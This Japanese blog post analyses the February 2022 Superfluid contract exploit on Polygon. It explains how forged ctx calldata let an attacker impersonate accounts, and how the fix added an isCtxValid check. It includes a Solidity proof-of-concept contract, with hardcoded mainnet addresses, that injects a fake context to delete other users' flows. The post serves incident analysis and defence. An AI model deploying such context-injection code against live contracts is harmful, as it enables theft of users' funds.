見出し画像

[Polygon] Superfluidコントラクト侵害

はじめに

2022年2月8日、攻撃者が Superfluid のコントラクトを悪用し、欠陥のある calldata を渡すことで、Super-token を保有する複数の異なるアカウントになりすました分配インデックスを作成することができました。この脆弱性により、攻撃者は Superfluid のユーザーウォレットから Polygon 上の取引所に資金を移動させ、ETH にスワップすることが可能になりました。

Superfluid とは、L1 Ethereum 上のスマートコントラクトフレームワークで、アグリーメントと呼ばれる事前に定義されたルールに従って、オンチェーンで資産をリアルタイムに移動させることが可能です。

攻撃の概要

ユーザーの資金への影響はなかったものの、ハッカーは

  • 24 Wrapped Ether(wETH)

  • 56万2000 USD Coin(USDC)

  • 4万4000 Stake DAO(SDT)

  • 150万 Museum of Crypto Art(MOCA)

  • 2万3000 Stacker Ventures(STACK)

  • 約4万 sdam3CRV

など 2000 万ドル相当のトークンを持ち去りました。

Superfluid.sol はホストコントラクトと呼ばれ、1 つのトランザクションでSuperfluid コントラクト(ConstantFlowAgreement, InstantDistributionAgreement)を構成可能にするコントラクトで、その構成システムは Super Apps と呼ばれます。

しかし、異なるアグリーメント呼び出し間のトランザクション全体を通じて信頼できる共有状態を持つために、「ctx」と呼ばれる概念(ホストコントラクトによって管理されるシリアライズ状態)が導入されています。ctx には、アグリーメント関数が知る必要のあるすべてのコンテキストが含まれ、特に最初の呼び出しの「msg.sender」が誰であるかが含まれます。

そこで、脆弱性が悪用されました。攻撃者は、ホストコントラクトでのシリアル化のプロセスと、アグリーメントコントラクトでの後続のデシリアライズのプロセスにより、他のアカウントを偽装するために特別に作成されたコンテキストオブジェクトで動作するアグリーメントコントラクトが生成されるように、calldataを作成できました。この仕組みは、他のアカウントの「代理」として IDA インデックスを作成し、そのようにトークンを移動するために使用されました。

エクスプロイター・コントラクト

以下のエクスプロイター・コントラクトは、この脆弱性を利用して、他のアカウントになりすまし、オープンストリームをクローズさせる方法を示しています。実際の悪用トランザクションでは、攻撃者は IDA コントラクトを使用して、同じ手法で他の口座から資金を流出させています。

contract BadCallAgreementPolygon {
address constant HOST = 0x3E14dC1b13c488a8d5D310918780c983bD5982E7;
    address constant CFA = 0x6EeE6060f715257b970700bc2656De21dEdF074C;
function deleteAnyFlowGood(address token, address sender, address receiver) public {
        ISuperfluid host = ISuperfluid(HOST);
        host.callAgreement(
            ISuperAgreement(CFA),
            abi.encodeWithSelector(
                IConstantFlowAgreementV1.deleteFlow.selector,
                token,
                sender,
                receiver,
                new bytes(0) // placeHodler ctx
            ),
            new bytes(0) // user data
        );
    }
function deleteAnyFlowBad(address token, address sender, address receiver) public {
        ISuperfluid host = ISuperfluid(HOST);
        host.callAgreement(
            ISuperAgreement(CFA),
            abi.encodeWithSelector(
                IConstantFlowAgreementV1.deleteFlow.selector,
                token,
                sender,
                receiver,
                abi.encode(
                    abi.encode(
                        4294967296, // (CALL_INFO_CALL_TYPE_AGREEMENT << 32) | 0,
                        block.timestamp,
                        sender,
                        IConstantFlowAgreementV1.deleteFlow.selector,
                        new bytes(0)
                    ),
                    abi.encode(
                        0,
                        0,
                        address(0),
                        address(0)
                    )
                ), // !! FAKE CTX !!
                new bytes(0) // placeHolderCtx
            ),
            new bytes(0)
        );
    }
}

deleteAnyFlowBad

callAgreement の規約は、プレースホルダー ctx を使用することで、後のアグリーメント solidity コードが引数 "ctx" として直接読み取ることができるようにしています。この考え方については、以下のリンクを参照してください。

ここで攻撃者は、任意の送信者を設定できるような偽の "ctx" を注入することに成功したのです。

Superfluid.callAgreement

通常の場合、Superfluid.callAgreement は ctx を作成し、Superfluid.isCtxValid を使用して検証できるように、それにスタンプを置きます(状態変数にそのハッシュを格納します)。

ConstantFlowAgreementV1.createFlow

function createFlow(
        ISuperfluidToken token,
        address receiver,
        int96 flowRate,
        bytes calldata ctx
    )
{
        FlowParams memory flowParams;
        require(receiver != address(0), "CFA: receiver is zero");
        ISuperfluid.Context memory currentContext = AgreementLibrary.authorizeTokenAccess(token, ctx);

次に、AgreementLibrary.authorizeTokenAccess を使用して、呼び出し元のホストコントラクトは、トークンコントラクトに対して状態を変更する呼び出しを行うことが許可されていることを確認します。

AgreementLibrary.authorizeTokenAccess

呼び出し元のホストが認証されると、アグリーメントは渡された ctx も過渡的に信頼し、メモリ構造にデコード(デシリアライズ)します。

/**
     * @dev Authorize the msg.sender to access token agreement storage
     *
     * NOTE:
     * - msg.sender must be the expected host contract.
     * - it should revert on unauthorized access.
     */
    function authorizeTokenAccess(ISuperfluidToken token, bytes memory ctx)
        internal view
        returns (ISuperfluid.Context memory)
    {
        require(token.getHost() == msg.sender, "unauthroized host");
        require(ISuperfluid(msg.sender).isCtxValid(ctx), "ctx is being exploited");
        return ISuperfluid(msg.sender).decodeCtx(ctx);
    }

偽のCtx

問題は、悪用する関数 deleteAnyFlowBad のように、偽の ctx を注入できることでした。

Superfluid.replacePlaceholderCtx によって 1 つのバイトオブジェクトにマージされた後、結果の dataWithCtx には 2 つの ctx 変形が含まれます、正規のものと注入されたものです。

アグリーメントコントラクトがこのデータをデコードするとき、abi デコーダは最初の(注入された)バリアントを取り、正当な ctx を含む残りのデータを無視します。

これを解決するために、アグリーメントコントラクトの中に ISuperfluid.isCtxValid という検証ステップを追加しました。これは、ホストコントラクトに格納されたスタンプ(ハッシュ)を比較することで、デコードされた ctx を検証するものです。このチェックは、SuperApp コールバックによって提供される ctx データを処理するためにすでに実施されていましたが、信頼できるホストコントラクトによって引き渡されるデータに対しては実施されていませんでした。

参考文献


この記事が気に入ったらサポートをしてみませんか?